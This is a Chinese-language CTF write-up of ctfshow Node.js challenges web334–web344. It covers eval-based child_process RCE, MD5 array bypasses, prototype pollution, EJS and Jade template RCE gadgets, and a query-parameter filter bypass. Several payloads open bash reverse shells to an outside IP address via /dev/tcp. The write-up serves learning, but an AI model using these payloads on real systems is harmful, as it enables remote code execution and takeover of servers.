web334(基础) 给了2个源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 var express = require ('express' );var router = express.Router ();var users = require ('../modules/user' ).items ; var findUser = function (name, password ){ return users.find (function (item ){ return name!=='CTFSHOW' && item.username === name.toUpperCase () && item.password === password; }); }; router.post ('/' , function (req, res, next ) { res.type ('html' ); var flag='flag_here' ; var sess = req.session ; var user = findUser (req.body .username , req.body .password ); if (user){ req.session .regenerate (function (err ) { if (err){ return res.json ({ret_code : 2 , ret_msg : '登录失败' }); } req.session .loginUser = user.username ; res.json ({ret_code : 0 , ret_msg : '登录成功' ,ret_flag :flag}); }); }else { res.json ({ret_code : 1 , ret_msg : '账号或密码错误' }); } }); module .exports = router;
1 2 3 4 5 module .exports = { items : [ {username : 'CTFSHOW' , password : '123456' } ] };
关键逻辑在于:return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
对不起这句话眼瞎了,我以为就是个简单的判断逻辑,其实就直接ctfshow
就行了呜呜呜呜,我好笨
web335(RCE无过滤) 参考: 一道比较基础的Node.js的RCE 输入?eval=1
回显我们1,猜测执行语句为:console.log(eval(req))
child_process
核心库是直接调用我们的/bin/bash
因此可以进行远程RCE
1 2 3 4 5 6 7 8 9 10 11 child_process.exec (command[, options][, callback]) const { exec } = require ('node:child_process' );exec ('"/path/to/test file/test.sh" arg1 arg2' );exec ('echo "The \\$HOME variable is $HOME"' );---------------------------------------------------------------------- child_process.execSync (command[, options])
exec的同步和异步区别就是在于回显值,所谓异步就是不阻碍程序运行,所以自然不可能产生回显,因此这一题我们要使用的是execSync
:?eval=require('child_process').execSync('cat f*');
尝试过弹shell回来,不过无果,原因未知,应该是靶场环境问题
web336(过滤exec) 和上一题一样仍然有回显,只不过参数中exec时会回显tql,也就是说有过滤 这边在官方文档逛了一圈发现了:child_process.spawnSync(command[, args][, options])
1 2 3 4 5 6 7 8 9 10 11 12 13 14 const { spawn } = require ('node:child_process' );const ls = spawn ('ls' , ['-lh' , '/usr' ]);ls.stdout .on ('data' , (data ) => { console .log (`stdout: ${data} ` ); }); ls.on ('close' , (code ) => { console .log (`child process close all stdio with code ${code} ` ); }); ls.on ('exit' , (code ) => { console .log (`child process exited with code ${code} ` ); });
看一段使用实例可以发现和execSync有些不同,我们cmd的选项参数放在了后面的列表里 所以payload为:?eval=require('child_process').spawnSync('ls', ['-l', '.']).stdout
?eval=require('child_process').spawnSync('cat', ['fl001g.txt']).stdout
其中的stdout表示缓冲区中的内容,也就是输出结果,也可以在结尾继续追加一个toString()
方法,但由于console.log把我们的数据自动解码了一下,所以可以不加
web337(Node.js数组绕过) 给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 var express = require ('express' );var router = express.Router ();var crypto = require ('crypto' );function md5 (s ) { return crypto.createHash ('md5' ) .update (s) .digest ('hex' ); } router.get ('/' , function (req, res, next ) { res.type ('html' ); var flag='xxxxxxx' ; var a = req.query .a ; var b = req.query .b ; if (a && b && a.length ===b.length && a!==b && md5 (a+flag)===md5 (b+flag)){ res.end (flag); }else { res.render ('index' ,{ msg : 'tql' }); } }); module .exports = router;
看到md5就下意识的联想到了PHP的数组绕过,由于php和js都是弱语言,所以这方面不严格,尝试了一下payloada[]=1&b[]=2
发现无果,而输入a[]=1&b[]=1
返回了flag 于是乎我就进行了以下实验:
1 2 3 4 5 6 7 a=[1 ]; b=[1 ]; console .log (a+"flag{xxx}" )console .log (b+"flag{xxx}" )console .log (a.length )console .log (b.length )console .log (a===b)
我们传参a[]=1&b[]=1
在nodejs里实际上就是a=[1];b=[1]
,输出结果刚好符合条件所以输出了flag,为什么a===b返回false呢?原因是开辟的地址空间是不一样的,虽然内容一样 除了这种方法还可以输入a['x']=1&b['x']=2
,这和之前的就不太一样了,前者是创建了一个数组,这个是创建了一个对象:
1 2 3 4 5 6 7 8 9 10 11 a={ "x" :1 } b={ "x" :1 } console .log (a+"flag{xxx}" )console .log (b+"flag{xxx}" )console .log (a.length )console .log (b.length )console .log (a===b)
同样也可以bypass
web338(原型链污染) 考点就是简单的原型链污染,把express的源码给你了 我们重点看2个文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 var express = require ('express' );var router = express.Router ();var utils = require ('../utils/common' );router.post ('/' , require ('body-parser' ).json (),function (req, res, next ) { res.type ('html' ); var flag='flag_here' ; var secert = {}; var sess = req.session ; let user = {}; utils.copy (user,req.body ); if (secert.ctfshow ==='36dboy' ){ res.end (flag); }else { return res.json ({ret_code : 2 , ret_msg : '登录失败' +JSON .stringify (user)}); } }); module .exports = router;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 module .exports = { copy :copy }; function copy (object1, object2 ){ for (let key in object2) { if (key in object2 && key in object1) { copy (object1[key], object2[key]) } else { object1[key] = object2[key] } } }
注意到copy
方法,他会复制2个对象之间的键值对,其中有一个对象是我们所传入的参数,另一个就是user
对象,任何一个对象都有一个键叫做__proto__
,他是对象的原型,可以理解为父类所以在这里我们可以通过污染原型的值,给secret对象添加ctfshow属性{"__proto__":{"ctfshow":"36dboy"}}
这里通过给原型付了一个属性,污染到了secret对象
web339(变量覆盖,[ejs rce]) 先写个预期解,有点累了学node.js,先总结一下非预期和预期的异同吧 预期和非预期都是进行RCE,只是原理不同,前者是覆盖变量,后者是ejs模板渲染的漏洞 首先在login界面输入{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/43.140.251.169/4567 0>&1\"')"}}
之后访问/api: 这样就可以触发变量覆盖,导致RCE,这也是预期解,非预期解是用payload:{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}
outputFunctionName
是ejs模块里opt对象的一个成员属性,由于他一开始未定义,所以我们可以污染原型从而污染outputFunctionName
详细复现我会在我的文章深入探讨NodeJs
里复现讲解
web340(双层污染) 同样的源码也给出来了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 var express = require ('express' );var router = express.Router ();var utils = require ('../utils/common' );router.post ('/' , require ('body-parser' ).json (),function (req, res, next ) { res.type ('html' ); var flag='flag_here' ; var user = new function ( ){ this .userinfo = new function ( ){ this .isVIP = false ; this .isAdmin = false ; this .isAuthor = false ; }; } utils.copy (user.userinfo ,req.body ); if (user.userinfo .isAdmin ){ res.end (flag); }else { return res.json ({ret_code : 2 , ret_msg : '登录失败' }); } }); module .exports = router;
1 2 3 4 5 6 7 8 9 function copy (object1, object2 ){ for (let key in object2) { if (key in object2 && key in object1) { copy (object1[key], object2[key]) } else { object1[key] = object2[key] } } }
这一把估计也看出了有些许不同,因为copy里面的user对象后面套了一个userinfo,我们再本地测试一下到底是哪样:
1 2 3 4 5 console .log (user.userinfo .__proto__ )console .log (user.userinfo .__proto__ .__proto__ )
可以发现第一层外面是一个对象,也就是构造函数,并不是什么object,第二层才是,这也就是所谓的二层污染 我们只需要payload:{"__proto__":{"__proto__":{"isAdmin":{"isAdmin":true}}}}
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 function copy (object1, object2 ){ for (let key in object2) { if (key in object2 && key in object1) { copy (object1[key], object2[key]) } else { object1[key] = object2[key] } } } var user = new function ( ){ this .userinfo = new function ( ){ this .isVIP = false ; this .isAdmin = false ; this .isAuthor = false ; }; } var payload='{"__proto__":{"__proto__":{"isAdmin":{"isAdmin":true}}}}' payload=JSON .parse (payload) console .log (user.userinfo .__proto__ .__proto__ )copy (user.userinfo ,payload)console .log ({}.__proto__ )
可以看到污染到了object了已经,之后也是利用反弹shell去获取flag{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/43.140.251.169/4567 0>&1\"')"}}}
web341(ejs rce污染) 这就是我们上面说的非预期,来自于ejs模板opts.OutPutFuntcion属性的污染
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 var express = require ('express' );var router = express.Router ();var utils = require ('../utils/common' );router.post ('/' , require ('body-parser' ).json (),function (req, res, next ) { res.type ('html' ); var user = new function ( ){ this .userinfo = new function ( ){ this .isVIP = false ; this .isAdmin = false ; this .isAuthor = false ; }; }; utils.copy (user.userinfo ,req.body ); if (user.userinfo .isAdmin ){ return res.json ({ret_code : 0 , ret_msg : '登录成功' }); }else { return res.json ({ret_code : 2 , ret_msg : '登录失败' }); } }); module .exports = router;
这一题源码没有给api接口,所以我们无法使用变量覆盖,这里就得用ejs污染了{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/43.140.251.169/7777 0>&1\"');var __tmp2"}}}
这里需要解释一下为什么需要用bash -c
取调用反弹shell,由于我们是在外部运行shell指令,所以他默认是不会识别我们的bash -i
反弹shell的,bash -c
保证了命令使用bash shell
去执行 还是很好理解的
web342(jade rce) 1 2 3 4 5 6 7 8 9 10 11 12 app.set ('views' , path.join (__dirname, 'views' )); app.engine ('jade' , require ('jade' ).__express ); app.set ('view engine' , 'jade' ); app.use (logger ('dev' )); app.use (express.json ()); app.use (express.urlencoded ({ extended : false })); app.use (cookieParser ()); app.use (express.static (path.join (__dirname, 'public' ))); app.use ('/' , indexRouter); app.use ('/login' , loginRouter);
改动点在此处,可以发现使用的渲染引擎不再是ejs而是jade,jade的污染链也是存在的,参考:{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \" bash -i >&/dev/tcp/43.140.251.169/7777 0>&1\"')"}}}
payload与上述文章有所不同,假如按照上述文章的payload(里面没有type),会出现如下报错: 分析之后是node.type属性为undefine,所以导致报错,这边都会在文章深入探讨Nodejs
分析复现 可以成功反弹shell
web343(jade rce-过滤寂寞) payload同上都能打,好奇看了一下login.js 过滤了个寂寞:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 cat login.js var express = require ('express' );var router = express.Router ();var utils = require ('../utils/common' );router.post ('/' , require ('body-parser' ).json (),function (req, res, next ) { res.type ('html' ); var user = new function ( ){ this .userinfo = new function ( ){ this .isVIP = false ; this .isAdmin = false ; this .isAuthor = false ; }; }; if (JSON .stringify (req.body ).match (/Text/ig )){ res.end ('hacker go away' ); }else { utils.copy (user.userinfo ,req.body ); if (user.userinfo .isAdmin ){ return res.json ({ret_code : 0 , ret_msg : '登录成功' }); }else { return res.json ({ret_code : 2 , ret_msg : '登录失败' }); } } });
这个if(JSON.stringify(req.body).match(/Text/ig))
意义何为
web344(node解析重名req) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 router.get ('/' , function (req, res, next ) { res.type ('html' ); var flag = 'flag_here' ; if (req.url .match (/8c|2c|\,/ig )){ res.end ('where is flag :)' ); } var query = JSON .parse (req.query .query ); if (query.name ==='admin' &&query.password ==='ctfshow' &&query.isVIP ===true ){ res.end (flag); }else { res.end ('where is flag. :)' ); } });
源码逻辑已经给了,相对人性化了太多,来看看逻辑,检查了我们的url参数(编码后)不可以有8c|2c|\,
,第一个是一个不可见字符,2,3表示的都是逗号,由于是get方式传参,编码必不可逃 逗号给识别出来了,既然逗号被ban了,那该怎么传递多个json参数呢??query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
对于这个请求,后端是怎么处理的呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 router.get ('/' , function (req, res, next ) { res.type ('html' ); var flag = 'flag_here' ; console .log (req.url ); if (req.url .match (/8c|2c|\,/ig )){ res.end ('where is flag :)' ); } console .log (req.query ); var query = JSON .parse (req.query .query ); console .log (query); if (query.name ==='admin' &&query.password ==='ctfshow' &&query.isVIP ===true ){ res.end (flag); }else { res.end ('where is flag. :)' ); } });
req.query被解析成了一个数组,之后在JSON.parse
的解析下变成了对象,内容就是目标的内容,很妙! 那么为什么c要编码为%63呢?c前面有双引号为%22
假如不编码就是%22c
可是2c
被ban了,因此得编码一下